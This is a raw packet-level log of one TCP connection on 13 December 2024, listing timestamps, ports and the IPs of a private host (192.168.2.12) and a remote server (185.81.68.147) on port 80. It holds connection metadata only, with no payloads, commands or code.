Dec 13, 2024 07:49:26.353013992 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353064060 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353064060 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353111029 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353111029 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353157997 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353157997 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353189945 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353214025 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353260994 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353260994 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353315115 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353315115 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353362083 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353362083 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353408098 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353408098 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353461027 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353461027 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353508949 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353508949 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353562117 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353562117 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353591919 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353636980 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353636980 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353686094 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353686094 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353735924 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353735924 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353787899 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353787899 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353832960 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353832960 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353861094 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353908062 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353908062 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353956938 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353967905 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.353991985 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354032040 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354043007 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354067087 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354093075 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354115963 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354160070 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354160070 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354209900 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354209900 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354243994 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354279995 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354279995 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354399920 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354399920 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354399920 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354399920 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354429007 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354429007 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354471922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354471922 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354520082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354520082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354567051 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354567051 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354685068 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354685068 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354738951 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354738951 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354768991 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354816914 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354816914 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354883909 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354883909 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354934931 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354970932 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.354970932 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355012894 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355037928 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355072975 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355072975 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355127096 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355127096 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355189085 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355189085 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355243921 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355243921 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355292082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355292082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355328083 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355364084 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355364084 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355391979 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355416059 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355490923 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355490923 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355490923 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355524063 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355561972 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355561972 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355587959 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355628967 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355628967 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355674982 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355674982 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355704069 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355730057 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355746984 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355792046 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355792046 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355882883 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355882883 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355896950 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355931997 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355969906 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.355969906 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.356008053 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.356046915 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.356046915 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.356100082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.356100082 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.356142998 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.356142998 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.357527018 CET	49723	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:26.461045027 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461066961 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461143970 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461199045 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461209059 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461218119 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461412907 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461421967 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461431026 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461441040 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461451054 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461458921 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461616993 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461685896 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461694956 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461707115 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461715937 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461724997 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461730957 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461838007 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461848021 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461857080 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461946011 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461956024 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461972952 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461981058 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.461992025 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462114096 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462146997 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462157011 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462165117 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462317944 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462327957 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462342978 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462397099 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462407112 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462410927 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462414026 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462418079 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462449074 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462615013 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462625980 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462636948 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462646008 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462652922 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462726116 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462735891 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462846041 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462856054 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462863922 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462915897 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.462955952 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463021994 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463145018 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463155031 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463171005 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463201046 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463211060 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463395119 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463404894 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463459015 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463468075 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463475943 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463493109 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463501930 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463510036 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463752985 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463768959 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463814020 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463823080 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463833094 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463840961 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463845015 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463856936 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463979959 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463989019 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.463998079 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464148045 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464184999 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464194059 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464201927 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464219093 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464229107 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464238882 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464247942 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464257002 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464431047 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464441061 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464481115 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464489937 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464500904 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464518070 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464526892 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464534998 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464569092 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464745998 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464801073 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464809895 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464819908 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464829922 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464838028 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.464848042 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465167046 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465177059 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465186119 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465194941 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465204954 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465213060 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465441942 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465485096 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465493917 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465502024 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465590954 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465601921 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465610027 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465620995 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465781927 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465791941 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465800047 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465807915 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465939045 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465948105 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465955973 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465967894 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465976000 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465984106 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.465992928 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466217995 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466228008 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466236115 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466243982 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466252089 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466262102 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466357946 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466391087 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466399908 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466526031 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466556072 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466563940 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466573000 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466727972 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466737032 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466746092 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466748953 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466754913 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466758013 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466767073 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466907978 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466917038 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466927052 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466937065 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.466944933 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467025995 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467037916 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467046022 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467053890 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467164993 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467174053 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467183113 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467302084 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467324972 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467334032 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467387915 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467436075 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467452049 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467459917 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467468023 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467475891 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467484951 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467668056 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467677116 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467685938 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467694044 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467710972 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467719078 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467727900 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467926025 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467935085 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467945099 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467962980 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467971087 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467979908 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467986107 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.467993975 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468009949 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468063116 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468130112 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468139887 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468290091 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468300104 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468307972 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468317032 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468334913 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468343973 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468353033 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468481064 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468489885 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468497038 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468619108 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468626976 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468635082 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468662024 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468671083 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468713999 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468852997 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468862057 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468921900 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468930960 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.468940020 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469027042 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469078064 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469085932 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469212055 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469223976 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469230890 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469248056 CET	80	49723	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:26.469475031 CET	80	49723	185.81.68.147	192.168.2.12
